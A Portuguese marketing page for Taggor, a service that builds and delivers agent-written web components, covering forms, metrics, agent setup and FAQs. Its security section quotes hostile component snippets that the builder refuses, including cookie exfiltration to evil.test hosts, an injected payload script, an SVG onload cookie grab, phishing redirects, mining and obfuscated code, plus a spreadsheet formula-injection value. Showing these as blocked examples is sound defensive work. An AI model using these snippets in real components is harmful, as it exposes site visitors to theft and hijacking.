Taggor

Rascunho · componentes feitos por agente para sites

Seu agente cria. O Taggor entrega.

Peça um carrossel, uma tabela de preços, um mapa de lojas ou um formulário. Seu agente escreve o componente; o Taggor constrói, versiona e coloca nos seus sites com uma única tag de script.

A faixa de logos aparece no site.

Simulação com componentes reais; saída encurtada

Cole no seu agente. Ele pergunta a você antes de entrar na conta ou pagar.

Busque https://taggor.dev/agent-setup/prompt.md e siga as instruções de lá para me configurar para o Taggor. Pergunte-me antes de entrar na conta, criar uma conta, aceitar termos, pagar qualquer coisa ou digitar um segredo.

02

Publique uma vez. Aparece em cada um dos seus sites.

Uma tag de script por site, colada uma vez. Cada site mantém as próprias palavras e cores; uma publicação atualiza todos eles.

Seu componente<contact-form />
  • my-bakery.example

    Padariaroda v7v8

  • my-shop.example

    Lojaroda v7v8

  • my-clinic.example

    Clínicaroda v7v8

  • my-app.example

    Produto de softwareroda v7v8

4 de 4 atualizados

Ilustração: os sites e os negócios são inventados. Simulação: nada sai desta página

Ver a página de plataformas. O snippet exato de cada framework e plataforma, com os limites que ela documenta, está na página de plataformas.

03

Os visitantes preenchem. Chega ao seu portal.

Os envios ficam guardados para você, marcados quando parecem automáticos e nunca descartados em silêncio. Filtre, exporte e apague quando quiser.

Componente que coleta

Fale com a gente

Dados de formuláriosColeção: contacts

Suspeitos
contacts
Recebido emnameemailmessageSuspeito
14:03Bot Examplebot@example.net=HYPERLINK("https://example.invalid/win","Claim your prize")Suspeito
14:02Ada Exampleada@example.com-
13:42Grace Samplegrace@example.orgDo you ship on Fridays?
13:22Alan Testalan@example.netIs there a dark theme?
Exportar CSVO arquivo traz o que os filtros da tabela mostram.

Simulação: nada sai desta página

Um robô entra. Não se perde.

Um campo oculto que nenhuma pessoa vê marca o envio do robô como suspeito. Ele fica guardado, com etiqueta e filtrável, nunca descartado sem você saber.

Uma planilha que não executa o que o visitante digita

A exportação monta o arquivo com o que a tabela mostra. Uma célula que começa como fórmula ganha uma aspa na frente, então abrir o arquivo não a executa.

No formulário
=HYPERLINK("https://example.invalid/win","Claim your prize")
No arquivo
'=HYPERLINK("https://example.invalid/win","Claim your prize")

O que não guardamos

O endereço, a identificação do navegador e a página de origem batem numa parede. Só a página, o país e a família do navegador passam, e o banco recusa qualquer outra chave.

  • Endereço IP
  • User agent
  • Referrer
  • Página
  • País
  • Família do navegador

04

Veja o que os seus componentes fazem.

Impressões, interações e conversões por site, país e dispositivo, contadas sem cookies. No portal, no terminal e para o seu agente.

Métricas

Como seus componentes estão indo nos sites do workspace.

Período
  • Impressões1.492Falsificável+10,5% em relação ao período anterior
  • Interações466Falsificável+16,5% em relação ao período anterior
  • Eventos personalizados176Falsificável+8% em relação ao período anterior
  • Conversões70Contado+20,7% em relação ao período anterior
  • Taxa de interação31,2%Falsificável+5,4% em relação ao período anterior
  • Taxa de conversão4,7%Falsificável+9,2% em relação ao período anterior
Impressões ao longo do tempoEste períodoPeríodo anterior

Onde foi renderizado

  1. Estados Unidos47732%
  2. Reino Unido17912%
  3. Alemanha14910%
  4. Canadá1047%
  5. Outros países39%

Dispositivos

  • Celular58%
  • Computador34%
  • Tablet6%
  • Outro2%
  • Impressões9.949Falsificável+3,5% em relação ao período anterior
  • Interações3.104Falsificável+9,1% em relação ao período anterior
  • Eventos personalizados1.174Falsificável+0,9% em relação ao período anterior
  • Conversões468Contado+13,3% em relação ao período anterior
  • Taxa de interação31,2%Falsificável+5,4% em relação ao período anterior
  • Taxa de conversão4,7%Falsificável+9,4% em relação ao período anterior
Impressões ao longo do tempoEste períodoPeríodo anterior

Onde foi renderizado

  1. Estados Unidos3.18432%
  2. Reino Unido1.19412%
  3. Alemanha99510%
  4. Canadá6967%
  5. Outros países39%

Dispositivos

  • Celular58%
  • Computador34%
  • Tablet6%
  • Outro2%
  • Impressões41.457Falsificável+10,6% em relação ao período anterior
  • Interações12.935Falsificável+16,6% em relação ao período anterior
  • Eventos personalizados4.892Falsificável+7,9% em relação ao período anterior
  • Conversões1.948Contado+20,9% em relação ao período anterior
  • Taxa de interação31,2%Falsificável+5,4% em relação ao período anterior
  • Taxa de conversão4,7%Falsificável+9,3% em relação ao período anterior
Impressões ao longo do tempoEste períodoPeríodo anterior

Onde foi renderizado

  1. Estados Unidos13.26632%
  2. Reino Unido4.97512%
  3. Alemanha4.14610%
  4. Canadá2.9027%
  5. Outros países39%

Dispositivos

  • Celular58%
  • Computador34%
  • Tablet6%
  • Outro2%
taggor metrics --group-by country
production, últimos 7 dias, por dia. Não é tempo real; eventos do navegador não são verificados.
Impressões: 9.949 (component_events, forgeable)
Interações: 3.104 (component_events, forgeable)
Eventos personalizados: 1.174 (component_events, forgeable)
Conversões: 468 (submissions, counted)
Taxa de interação: 31,2% (component_events, forgeable)
Taxa de conversão: 4,7% (component_events, forgeable)

Os mesmos números, uma linha por métrica, cada uma com a fonte e o quanto dá para confiar. Com --json, o seu agente lê.

  • Histórico pelo prazo do seu planoOs totais diários ficam guardados além da janela recente, pelo tempo que o seu plano define.
  • Exporte quando quiserBaixe os números em CSV ou NDJSON, ou leia pela API.
  • Sem dado é null, não zeroUma métrica sem nada por trás volta vazia, e um buraco não é lido como um dia ruim.

Números ilustrativos

Cada número diz o quanto dá para confiar.

Uma conversão é um envio que o Taggor guardou, então é contada. O que um navegador informa pode ser inflado por quem conhece a chave de um site, então leva o rótulo falsificável e nenhuma cobrança se apoia nisso.

Um sinal de privacidade é respeitado.

Quando o navegador do visitante envia Global Privacy Control ou Do Not Track, só a renderização é contada. O país são duas letras e o dispositivo é uma de quatro classes: nenhum identificador de visitante, endereço IP ou user agent é guardado para uma métrica.

Uma taxa de erros para cada versão.

Quando um componente quebra no navegador de um visitante, o runtime avisa. Cada versão tem seus erros divididos pelas suas montagens, um sinal para ler antes de promover.

05

Tudo o que um site mostra pode ser um componente.

Cada cartão abaixo é um componente Taggor de verdade, entregue a esta página pelo Taggor do mesmo jeito que chega aos seus sites. Pode usar.

Ver todos os componentes →

Seu agente escreve. O Taggor confere, entrega e guarda cada versão.

06

Do que um componente é feito

O seu agente declara props, eventos e dados uma vez. O Taggor os transforma em controles, tipos e código para cada framework.

  1. PropsAtributos tipados que a página define na tag.
    rate: prop.number({
      description: "Monthly interest rate, in percent.",
      min: 0,
      max: 20,
      step: 0.01,
      default: 1.2,
    }),
  2. EventosO que o componente avisa à página, com detalhe conferido.
    emit("simulate", {
      amount: nextAmount,
      months: nextMonths,
      installment: installment(nextAmount, props.rate, nextMonths),
    });
  3. Variáveis CSSAs cores e tamanhos que a página pode mudar.
    "--fs-accent": { type: "color", default: "#0a7d5a", description: "Accent and button color." },
  4. Coleta de dadosColeções e consentimento declarados, guardados para o cliente.
    track: { simulate: { props: { months: { type: "number", integer: true, min: 1 } } } },
  5. IdiomasUm conjunto de mensagens por idioma, escolhido pela página.
    locales: { default: "pt-BR", messages: { "pt-BR": ptBR, en } },
  6. SchemaTipos para o seu site, gerados da mesma declaração.
    finance-simulator.d.ts
  7. BundleConstruído uma vez, nomeado pelo hash do conteúdo, nunca alterado depois.
    sha256-…
Fig. 1 · Um componente, desmontadoIlustração
  1. 1O seu agente escreve o componente

    quick-poll/src/index.tsx

    import { defineTaggorComponent, prop, useTaggorData } from "@taggor/component";
    
    export default defineTaggorComponent({
      name: "quick-poll",
      tag: "quick-poll",
      props: {
        question: prop.string({ maxLength: 200, default: "Which feature first?" }),
        options: prop.array({ items: { type: "string" }, default: ["Dark mode", "Mobile app"] }),
      },
      data: {
        collections: {
          votes: { fields: { option: { type: "string", maxLength: 80 } }, required: ["option"] },
        },
      },
      cssVars: {
        "--qp-accent": { type: "color", default: "#7c3aed", description: "Button color." },
      },
      styles: ({ cssVar }) => [
        `button { background: ${cssVar("--qp-accent")}; color: #fff; border-radius: 999px }`,
      ],
      render: (props, context) => {
        const votes = useTaggorData(context, "votes");
        if (votes.status === "success") return <p>Thanks for voting!</p>;
        return (
          <fieldset>
            <legend>{props.question}</legend>
            {props.options.map((option) => (
              <button onClick={() => votes.submit({ option })}>{option}</button>
            ))}
          </fieldset>
        );
      },
    });

    Props, uma coleção de dados, um ajuste de estilo e o que ele desenha. Versão curta de examples/quick-poll.

  2. 2Cole uma linha no seu site, uma vez

    index.html · <head>

    <script async src="https://cdn.taggorcdn.com/s/<site-key>.js"></script>
    

    A mesma linha em todas as páginas do site. Ela carrega só os componentes que a página usa.

  3. 3Coloque a tag onde ele deve aparecer

    index.html · <body>

    <quick-poll
      question="Which feature first?"
      options='["Dark mode","Mobile app","WhatsApp"]'
      style="--qp-accent: #0f766e"
    ></quick-poll>

    Cada site passa as próprias palavras e cores. Publicar uma versão nova não muda nada aqui.

07

Tudo o que ele tem

Primeiro os números, depois as coisas pequenas que são fáceis de perder.

Ilustrações, desenhadas para esta página.

08

O seu agente faz o trabalho. O Taggor confere cada passo.

O seu agente corrige os próprios erros de build. O código dele é tratado como não confiável e verificado a cada publicação, e cada componente roda numa caixa só dele na sua página.

Ele confere o próprio trabalho

Deslize para o lado pelos passos

Você cola um prompt

Fetch https://taggor.dev/agent-setup/prompt.md and follow its instructions to set me up for Taggor. Ask me before you sign in, create an account, accept terms, pay for anything or type a secret.

Ele instala as regras

taggor init --agent claudeCreated the project in ~/.taggor/projects/rich-note with the component rich-note.  wrote taggor.json  wrote components/rich-note/src/index.tsxAgent files (bundle 0.6.0) for claude:  wrote .claude/skills/taggor/SKILL.md  wrote CLAUDE.md

A checagem diz não

taggor checkfailed: rich-note (1 error(s), 0 warning(s))components/rich-note/src/index.tsx:15:36 error UNSAFE_HTML_SINK: a string written as HTML can run script (rule html-sink): innerHTML with a string that is not a fixed literal          if (box.current) box.current.innerHTML = message;  hint: Render the content with JSX ({message} is escaped), or set textContent; for formatting, accept structured data (a list of paragraphs, bold ranges) instead of HTML.1 of 1 component(s) would fail the publication gates (1 error(s)).

Ele lê a dica e corrige

agent: the hint says to render with JSX. Editing src/index.tsx.--- src/index.tsx- 13     const box = useRef<HTMLDivElement>(null);- 14     useEffect(() => {- 15       if (box.current) box.current.innerHTML = message;- 16     }, [message]);- 17     return <div ref={box} />;+    return <div>{message}</div>;

A checagem diz sim

taggor checkok: rich-note passed 3 gate(s)1 component(s) checked, all publishable.

Ele publica no staging

taggor publishUploaded. Build bld_….Build bld_…: queuedBuild bld_…: buildingBuild bld_…: checkingBuild bld_…: succeeded  preview: https://<preview host>/p/<token>

O build, etapa por etapa

taggor logs rich-note --followBuild bld_… (newest version of rich-note)[queued] passed[resolving] passed[compiling] passed[gate:typecheck] passed[gate:size] passed[gate:security] passed[build] succeeded (0 errors, 0 warnings)
Reencenação de uma execução real; saída resumida

Recusado antes de sair

19 componentes escritos para atacar a página hospedeira ou seus visitantes: o corpus real contra o qual testamos o builder. Cada um é recusado com o código, o arquivo e a linha.

  • Recusado: SECRET_IN_SOURCE

    Um segredo é barrado antes de sair da sua máquina

    .env · src/config.ts

    taggor publishLeft out .env: it looks like a credential and is never packaged.src/config.ts:1:24 error SECRET_IN_SOURCE: a GitHub token (ghp_…) is in the component's source; the bundle is public, so the build refuses it1 secret(s) found in the component's files (values are masked). Nothing was sent: the bundle is public. Remove them and rotate the keys.

    Um arquivo .env, um arquivo de chave ou um token escrito no código é barrado pela CLI antes de qualquer envio, e o valor aparece mascarado na mensagem.

  • Recusado: VIEWPORT_OVERLAY

    Camada sobre a viewport inteira

    src/index.tsx:10

      description: "A ribbon with today's promotion.",  styles: ":host { position: fixed; inset: 0; z-index: 2147483647; opacity: 0.01 }",  render: () => <a href="https://offers.example.net/">Today only</a>,

    Fixes the invisible host over the whole viewport to take the page's clicks (clickjacking).

  • Recusado: CREDENTIAL_CAPTURE

    Componente pede credenciais

    src/index.tsx:31

          <form onSubmit={onSubmit}>        <p>Your session has expired. Sign in with Google to continue.</p>        <input name="email" type="email" autocomplete="username" />

    A look-alike login that stores the visitor's password through a Taggor collection (T-61).

  • Recusado: MINING_PATTERN

    Padrão de mineração de criptomoeda

    src/index.tsx:8

     const WORKER_SOURCE = `let nonce = 0;

    A Blob worker that hashes in a loop and talks Stratum to a mining pool over a WebSocket.

  • Recusado: UNDECLARED_NETWORK

    Requisição de rede para origem não declarada

    src/index.tsx:13

        useEffect(() => {      void fetch("https://collector.evil.test/c", {        method: "POST",

    Reads document.cookie and posts it to an undeclared origin.

  • Recusado: UNSAFE_DOCUMENT_WRITE

    document.write no componente

    src/index.tsx:14

          onClick={() => {        document.open();        document.write(

    document.write on a click, replacing the host page with a card form.

  • Recusado: MANIFEST_EXTRACTION_FAILED

    Módulo do componente falhou ao carregar

    src/index.tsx:5

     const greeting = eval('"hello"') as string; 

    eval at the top level of the module: the locked-down manifest extraction (no code generation from strings) already fails it.

  • Recusado: UNSAFE_EVAL

    eval no componente

    src/index.tsx:18

              const input = (event.currentTarget as HTMLFormElement).elements.namedItem("expr");          setResult(String(eval((input as HTMLInputElement).value)));        }}

    eval on what the visitor types, inside an event handler.

  • Recusado: UNSAFE_SCRIPT_ELEMENT

    Componente cria um elemento script

    src/index.tsx:13

        useEffect(() => {      const script = document.createElement("script");      script.src = "https://cdn.evil.test/payload.js";

    Appends an external <script> to the host page's head, outside the shadow root.

  • Recusado: CONSENT_FORGED

    Consentimento dado pelo componente

    src/index.tsx:21

        useEffect(() => {      consent.setGiven(true);    }, []);

    Ticks the consent box itself in an effect, so the proof of consent is forged.

  • Recusado: UNDECLARED_NETWORK

    Requisição de rede para origem não declarada

    src/index.tsx:14

          const pixel = new Image();      pixel.src = "https://pixel.example.net/p.gif?v=" + encodeURIComponent(value);    };

    Sends what the visitor types in the URL of a hidden image, to an undeclared origin.

  • Recusado: UNSAFE_HTML_SINK

    HTML escrito a partir de texto

    src/index.tsx:15

        useEffect(() => {      if (box.current) box.current.innerHTML = message;    }, [message]);

    Writes a string prop (an attribute of the page) through innerHTML.

  • Recusado: UNSAFE_FUNCTION_CONSTRUCTOR

    Construtor Function no componente

    src/index.tsx:12

      render: ({ formula }) => {    const compute = new Function(`return (${formula});`) as () => unknown;    return <output>{String(compute())}</output>;

    new Function over a string prop, so the page's attribute becomes code.

  • Recusado: OBFUSCATED_CODE

    Código ofuscado

    src/index.tsx:15

        useEffect(() => {      const code = atob(atob(PAYLOAD));      const probe = atob("ZmV0Y2goJ2h0dHBzOi8vYy5leGFtcGxlLm5ldCcp");

    Hides its payload in base64 inside base64, base64 of code and a name spelled in character codes.

  • Recusado: UNSAFE_PREACT_INTERNALS

    Componente acessa estruturas internas do Preact

    src/index.tsx:6

      const consent = useConsent(props.context, props.componentInputProps);  for (const hook of this.__H.__) {    const dispatch = hook.__?.[1];

    Dispatches consent through Preact's mangled hook state instead of a visitor action.

  • Recusado: UNSAFE_STRING_TIMER

    Timer com texto

    src/index.tsx:14

        useEffect(() => {      const run = setTimeout as unknown as (code: string, ms: number) => number;      run(action, 1000);

    setTimeout with a string built from a prop, an eval in disguise.

  • Recusado: ASSET_SVG_UNSAFE

    SVG com conteúdo ativo

    src/badge.svg:1

    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10" onload="fetch('https://evil.example/c?' + document.cookie)">  <script>top.location = "https://evil.example/phish";</script>

    An SVG asset with a <script> and an onload handler (TAG-410): refused with ASSET_SVG_UNSAFE at each line, nothing published.

  • Recusado: UNSAFE_TAGGOR_GLOBAL

    Componente escreve o global taggor

    src/index.tsx:15

        const original = host.taggor;    Object.defineProperty(window, "taggor", {      configurable: true,

    Replaces the host page's taggor API to read the other components' events.

  • Recusado: UNDECLARED_NETWORK

    Requisição de rede para origem não declarada

    src/index.tsx:14

          const timer = setTimeout(() => {        (window.top ?? window).location.href = "https://login.phish.test/account";      }, 3000);

    Navigates the top window to a look-alike login page after mounting.

  • Recusado: UNDECLARED_NETWORK

    Requisição de rede para origem não declarada

    src/index.tsx:15

          void fetch("https://api.store.example.com/quote?q=" + encodeURIComponent(value));      void fetch("https://collector.example.net/keys", { method: "POST", body: value });    };

    Declares the store's API and also sends what the visitor types to an undeclared origin.

Diagnósticos reais do corpus de testes do builder

Ele sabe onde parar

O que só uma pessoa faz, ele devolve

Se pedir para criar uma chave de API, o agente recebe uma recusa que diz a página exata do portal e os passos para você. Ele não tenta de novo nem procura um jeito de contornar.

agente: preciso de uma chave de API.403 human_action_requiredIsto é para uma pessoa, não para um agente: Criar uma chave de API ou token. Não tente de novo. Diga à pessoa para abrir /w/<workspace-slug>/settings/api-keys no portal (<workspace-slug> é o slug do workspace) e:  1. Entre no portal e abra o workspace.  2. Abra Configurações e depois Chaves de API.  3. Escolha Criar chave, dê um nome e marque só os escopos de que ela precisa.  4. Copie a chave uma vez, quando ela aparecer, para a ferramenta que a usa; não a cole em um chat.

O que a CLI repassa ao agente, do catálogo do contrato

Docs que o agente consegue ler

Toda página da documentação também existe em Markdown, no mesmo endereço com .md, então o agente lê a página sem o que a cerca.

GET /docs/quickstart.md# CLI quickstartFrom an empty directory to a component on a test site, with the taggor CLI.## Before you start## 1. Download the CLI and check its hash## 2. Sign in## 3. Create the first component

O começo de uma página real da documentação, em Markdown

Tente quebrar a página

Se um deles der erro, ou o Taggor sair do ar, o resto da sua página fica como estava. Experimente, depois leia o que cada camada faz.

Uma página de exemplo

O próprio texto, o próprio botão, três componentes.

apertado 0 vezes

click-counterContadorConta, com o próprio botão.+
click-countero conteúdo dentro da tagNenhum clique ainda, como a página escreveu.
promo-bannerBanner de promoçãoUma linha e um link.→
promo-bannero conteúdo dentro da tagA linha de texto da própria página.
faq-accordionPerguntasAbre e fecha.▾
faq-accordiono conteúdo dentro da tagAs perguntas como texto simples.

Erros na página: 0

Aperte um botão. A página conta os próprios erros.

Um componente lançou um erro. Só ele caiu para o conteúdo que você escreveu dentro da tag; os outros dois seguiram.

Os botões da página ficaram amarelos com !important. Os componentes mantiveram o próprio visual: o CSS da página não atravessa o Shadow DOM.

Com o Taggor desligado, cada tag mostra o conteúdo que está dentro dela, e a página continua clicável.

Reencenação das nossas suítes de teste Da suíte de caos (um bundle que lança erro, a CDN fora do ar) e da matriz de compatibilidade (uma folha de estilo hostil na página).

  • Um Shadow DOM só deleO componente é desenhado na sua própria shadow root. Na matriz de compatibilidade, uma folha de estilo hostil da página não o reestiliza, e ele não reestiliza a página.
  • Uma barreira de errosUm componente que dá erro fica contido. A página continua funcionando e o conteúdo de reserva que você escreveu continua visível.
  • Construído em isolamentoO código do seu agente é construído num contêiner em sandbox, longe da sua máquina e dos servidores do Taggor, e verificado a cada publicação.
  • Versões que não mudamNada é sobrescrito. Uma versão ruim é um ponteiro que você move de volta.
  • Um loader pequeno e assíncrono, em domínio próprioO loader carrega de forma assíncrona e não bloqueia a página; tem um teto rígido de tamanho, conferido antes de cada nova versão do Taggor, e é servido de um domínio separado do da marca. Se ele não for alcançado, a página fica como estava.
  • Sem cookies, e os dados são decisão suaO loader e o runtime não gravam cookie. O que um componente coleta, e se isso é dado pessoal, é decisão sua como controlador.

09

Perguntas

As dúvidas que nós também teríamos, respondidas com a própria coisa: cada resposta aponta a parte desta página que a comprova.

Eu coloco no meu repositório.

Deixe o código no seu repositório. O Taggor cuida do que vem depois: versões que não mudam, dois canais e um botão de desfazer.

  • Cada publicação é uma versão imutável; staging e produção são ponteiros que você move.
  • Um componente pode ficar em vários sites, cada um com seus valores, e os dados que ele coleta caem no mesmo lugar.
  1. v6a41f09c2
  2. v73c9e07b2
  3. v85d17e6a0

A produção aponta para v8.

A produção voltou para v7: o mesmo build, byte a byte, hash 3c9e07b2.

Desfazer move o ponteiro; os sites acompanham em cerca de 60 s, sem refazer nada.
Simulação: nada sai desta página

Ver acontecer: versões e canais

Minha plataforma já tem IA.

Ótimo para aquela plataforma. O Taggor é neutro: o seu próprio agente escreve o componente, e um snippet o coloca no site que você escolher.

  • Há instruções de instalação para HTML puro, WordPress, Webflow, Next.js, Vue e Angular, cada uma com seus limites documentados.
  • Pensado para agências e para quem mantém vários sites: um componente, cada site com seus valores.

Ver acontecer: a mesma tag nos seus sites

JavaScript de terceiro é um risco.

Preocupação justa, por isso ele fica numa caixa: se um componente falhar, ou o Taggor sair do ar, a sua página continua como estava.

  • Cada componente vive no seu próprio Shadow DOM, dentro de uma barreira de erros.
  • Sem eval. O código é construído num sandbox e verificado a cada publicação, e uma versão publicada nunca muda.

Sim, servido pela rede global da Cloudflare. Sim, um loader minúsculo.

3 KiB Teto de tamanho do loader (gzip), conferido antes de cada nova versão do Taggor

Ilustração

Ver acontecer: o diagrama de segurança

E se o meu agente publicar algo errado, ou for enganado?

Primeiro o staging, toda versão fica guardada e voltar é um movimento só. O que os visitantes escrevem nunca vira instrução.

  • Staging e produção são canais separados; a produção só se move quando alguém promove.
  • O que um visitante digitou chega ao agente marcado como dado não confiável, nunca como instrução, nas ferramentas que o Taggor dá aos agentes.
  • Ações que só uma pessoa faz (chaves, cobrança, aceite legal) são recusadas a um agente, com a página exata do portal e os passos para concluí-las.

Ver acontecer: o Taggor para agentes

Backend de formulário é barato.

Alguns são, e um formulário simples pode ser tudo o que você precisa. Quando ele deve ser um componente seu, o Taggor guarda o componente e os dados num lugar só.

  • O seu próprio agente escreve o componente; o Taggor constrói, hospeda e versiona.
  • Os envios caem no seu portal por coleção, e saem em CSV ou NDJSON.
  • Um novo envio pode avisar você por e-mail.

Ver acontecer: a tela de dados

E a privacidade dos meus visitantes?

Sem cookies por padrão, e o que você coleta é seu.

  • O loader e o runtime não gravam cookie.
  • As métricas de visitantes não guardam dado pessoal.
  • O que um componente coleta, e se isso é dado pessoal, é decisão sua como controlador.

Ver acontecer: o diagrama de segurança

É seguro rodar código que o meu agente escreveu?

O código do cliente é tratado como não confiável. Ele é construído num contêiner isolado, verificado a cada publicação (código que usa eval, grava cookies ou storage ou acessa um endereço de rede não declarado é recusado) e roda no navegador dentro de um Shadow DOM com uma barreira de erros. Mais na documentação.

Vai deixar o meu site lento?

O loader é um script assíncrono pequeno, com um orçamento de tamanho imposto no CI, e busca só os componentes que aquele site usa. Não publicamos números de velocidade até medi-los num site de verdade. Mais na documentação.

O que acontece se o Taggor sair do ar?

A página fica como estava. Se o loader ou um pacote não for alcançado, a página segue utilizável, e o conteúdo de reserva que você escreveu dentro da tag continua visível. Mais na documentação.

Fico preso ao Taggor?

O componente é código TypeScript na sua própria pasta, e os dados que ele coleta se exportam em CSV ou NDJSON. Tire o snippet e a página volta ao que era. Mais na documentação.

E a privacidade dos meus visitantes?

O loader e o runtime não gravam cookie e não identificam o visitante pelo aparelho. Se um componente coleta dado pessoal, ele mostra uma caixa de consentimento e cada envio guarda a prova do que o visitante aceitou. Mais na documentação.

Quem paga pela IA?

Você, pelo seu próprio agente. O Taggor não roda nenhum modelo nos seus componentes: o seu agente os escreve com o SDK, e o Taggor constrói e entrega o que ele publica. Mais na documentação.

Em quais plataformas funciona?

Nas que deixam você adicionar uma tag de script, com os limites que cada plataforma documenta. A página de plataformas diz quais rodamos e quais só lemos na ajuda da própria plataforma. Mais na documentação.

Quanto custa?

O Free custa US$ 0, o Pro custa US$ 14 por mês e a Agency custa US$ 49 por mês. Todo plano tem todos os recursos; os planos diferem no volume.

O que o Taggor não é

  • Não é um construtor de páginasNão desenha nem hospeda o seu site. Entrega componentes ao site que você tem.
  • Não é uma IA que escreve por vocêO seu agente escreve o componente, na sua conta. O Taggor constrói, hospeda e entrega.
  • Não é um jeito de fugir das suas obrigações de privacidadeVocê é o controlador do que os seus componentes coletam. O Taggor guarda a prova de consentimento; a política é sua.
  • Não é preso a uma plataformaUma tag de script, com os limites que cada plataforma documenta.

10

Comece pelo seu agente

Cole o prompt no seu agente de código. Ele lê a página de configuração, instala o Taggor e pergunta a você antes de entrar na conta, criar uma conta ou pagar.

Prompt de uma linha para o seu agente

Busque https://taggor.dev/agent-setup/prompt.md e siga as instruções de lá para me configurar para o Taggor. Pergunte-me antes de entrar na conta, criar uma conta, aceitar termos, pagar qualquer coisa ou digitar um segredo.

Uma fonte, qualquer agente

O taggor init --agent grava o arquivo que o seu agente lê. Escolha o seu para ver o que ele recebe.

Claude Code

Arquivo no seu projeto: .claude/skills/taggor/SKILL.md

---name: taggor--- ## Rules for you, the agent - Never create or revoke API keys or tokens, pay, accept the Terms or the DPA, delete the workspace  or change its owner: those are the person's, in the portal. When the API, the CLI or the MCP  answers `human_action_required`, tell the person the portal page and the steps it names, and do not  retry or look for a way around it. 3. **Fix** every diagnostic by its `code` and `hint` (`error.errors[]` in the JSON, and the   `docs_url` it carries). Change the code, never the check. Go back to 2 until it exits `0`.   [references/troubleshooting.md](references/troubleshooting.md) lists the exit codes and what to do.

Uma skill, mais um bloco do Taggor no CLAUDE.md. A mesma regra, linha por linha, nos três.

Codex

Arquivo no seu projeto: AGENTS.md

<!-- taggor:start --><!-- taggor:bundle 0.6.0 -->## Taggor components### Rules for you, the agent - Never create or revoke API keys or tokens, pay, accept the Terms or the DPA, delete the workspace  or change its owner: those are the person's, in the portal. When the API, the CLI or the MCP  answers `human_action_required`, tell the person the portal page and the steps it names, and do not  retry or look for a way around it. 3. Fix each diagnostic by its `code` and `hint`, then check again, until it exits `0`.

Um bloco do Taggor no AGENTS.md; qualquer agente que leia o AGENTS.md o recebe. A mesma regra, linha por linha, nos três.

Cursor

Arquivo no seu projeto: .cursor/rules/taggor.mdc

---description: Taggor components: how to write, check and publish themalwaysApply: true--- <!-- taggor:start --><!-- taggor:bundle 0.6.0 -->## Taggor components### Rules for you, the agent - Never create or revoke API keys or tokens, pay, accept the Terms or the DPA, delete the workspace  or change its owner: those are the person's, in the portal. When the API, the CLI or the MCP  answers `human_action_required`, tell the person the portal page and the steps it names, and do not  retry or look for a way around it. 3. Fix each diagnostic by its `code` and `hint`, then check again, until it exits `0`.

Um arquivo de regras que vale em todo chat. A mesma regra, linha por linha, nos três.